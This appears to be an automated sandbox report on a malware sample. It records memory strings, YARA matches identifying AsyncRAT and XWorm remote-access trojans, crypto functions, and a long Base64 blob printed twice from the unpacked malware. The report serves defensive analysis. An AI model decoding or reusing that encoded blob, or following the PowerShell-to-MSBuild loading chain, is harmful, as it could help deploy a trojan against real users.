Source: powershell.exe, 00000003.00000002.1971913526.000002A68189A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A6817A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A680231000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1998734433.000002A6F71F0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1971913526.000002A6818C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A68189A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.pngx
Source: powershell.exe, 00000003.00000002.1971913526.000002A680231000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.pngx.O
Source: powershell.exe, 00000003.00000002.1971913526.000002A680001000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.3949029976.0000000002911000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.12.dr String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 00000003.00000002.1971913526.000002A6817A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000003.00000002.1971913526.000002A68189A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A6817A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A680231000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1998734433.000002A6F71F0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.1971913526.000002A6818C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A68189A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlx
Source: powershell.exe, 00000003.00000002.1971913526.000002A680231000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlx.O
Source: powershell.exe, 00000003.00000002.1971913526.000002A680001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.1971913526.000002A681A0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1971913526.000002A681A0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1971913526.000002A681A0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.1971913526.000002A68189A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A6817A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A680231000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1998734433.000002A6F71F0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1971913526.000002A6818C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A68189A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pesterx
Source: powershell.exe, 00000003.00000002.1971913526.000002A680231000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pesterx.O
Source: powershell.exe, 00000003.00000002.1971913526.000002A680C31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.1992732666.000002A6901BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1992732666.000002A69007F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A681A0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000003.00000002.1971913526.000002A6817A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneget.org
Source: unknown Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49681 -> 443

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: dump.pcap, type: PCAP Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.powershell.exe.2a681788058.4.unpack, type: UNPACKEDPE Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 3.2.powershell.exe.2a681788058.4.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.powershell.exe.2a6817a1948.5.unpack, type: UNPACKEDPE Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 3.2.powershell.exe.2a6817a1948.5.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 6.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 6.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, type: UNPACKEDPE Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.powershell.exe.2a6817824b8.2.raw.unpack, type: UNPACKEDPE Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 3.2.powershell.exe.2a6817824b8.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, type: UNPACKEDPE Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.powershell.exe.2a6816da360.0.raw.unpack, type: UNPACKEDPE Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 3.2.powershell.exe.2a6816da360.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000006.00000002.3945161499.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.1971913526.000002A6817A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
.NET source code contains very large strings
Source: 3.2.powershell.exe.2a6f74a0000.6.raw.unpack, Knvbl.cs Long String: Length: 14740
Source: 3.2.powershell.exe.2a6816c8da0.3.raw.unpack, Knvbl.cs Long String: Length: 14740
Source: 3.2.powershell.exe.2a6816da360.0.raw.unpack, Knvbl.cs Long String: Length: 14740
Abnormal high CPU Usage
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process Stats: CPU usage > 49%
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB11101028 3_2_00007FFB11101028
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB11101010 3_2_00007FFB11101010
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB11101030 3_2_00007FFB11101030
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB1151C28A 3_2_00007FFB1151C28A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB11516E91 3_2_00007FFB11516E91
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB1151C691 3_2_00007FFB1151C691
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB1151C242 3_2_00007FFB1151C242
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB1151664D 3_2_00007FFB1151664D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB1151962D 3_2_00007FFB1151962D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB1152362F 3_2_00007FFB1152362F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB11519D4D 3_2_00007FFB11519D4D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB115233EE 3_2_00007FFB115233EE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB1151FB8D 3_2_00007FFB1151FB8D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB11763AA0 3_2_00007FFB11763AA0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB117736B2 3_2_00007FFB117736B2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB11770ECA 3_2_00007FFB11770ECA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB118C404A 3_2_00007FFB118C404A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB118C000B 3_2_00007FFB118C000B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB118D0726 3_2_00007FFB118D0726
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB1151D680 3_2_00007FFB1151D680
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB1151CA3D 3_2_00007FFB1151CA3D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0274F558 6_2_0274F558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_02744DB8 6_2_02744DB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_02740FA0 6_2_02740FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_02743C90 6_2_02743C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_02743C80 6_2_02743C80
One or more processes crash
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6504 -s 1656
Yara signature match
Source: dump.pcap, type: PCAP Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.powershell.exe.2a681788058.4.unpack, type: UNPACKEDPE Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 3.2.powershell.exe.2a681788058.4.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.powershell.exe.2a6817a1948.5.unpack, type: UNPACKEDPE Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 3.2.powershell.exe.2a6817a1948.5.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 6.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 6.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, type: UNPACKEDPE Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.powershell.exe.2a6817824b8.2.raw.unpack, type: UNPACKEDPE Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 3.2.powershell.exe.2a6817824b8.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, type: UNPACKEDPE Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.powershell.exe.2a6816da360.0.raw.unpack, type: UNPACKEDPE Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 3.2.powershell.exe.2a6816da360.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000006.00000002.3945161499.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.1971913526.000002A6817A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, W91Z8WxFS7CNWE7zWXXgw.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, W91Z8WxFS7CNWE7zWXXgw.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, gxjkObDssWqhC6IH2LttS.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, W91Z8WxFS7CNWE7zWXXgw.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, W91Z8WxFS7CNWE7zWXXgw.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, gxjkObDssWqhC6IH2LttS.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.powershell.exe.2a6f74a0000.6.raw.unpack, Knvbl.cs Base64 encoded string: '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
Source: 3.2.powershell.exe.2a6816c8da0.3.raw.unpack, Knvbl.cs Base64 encoded string: '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
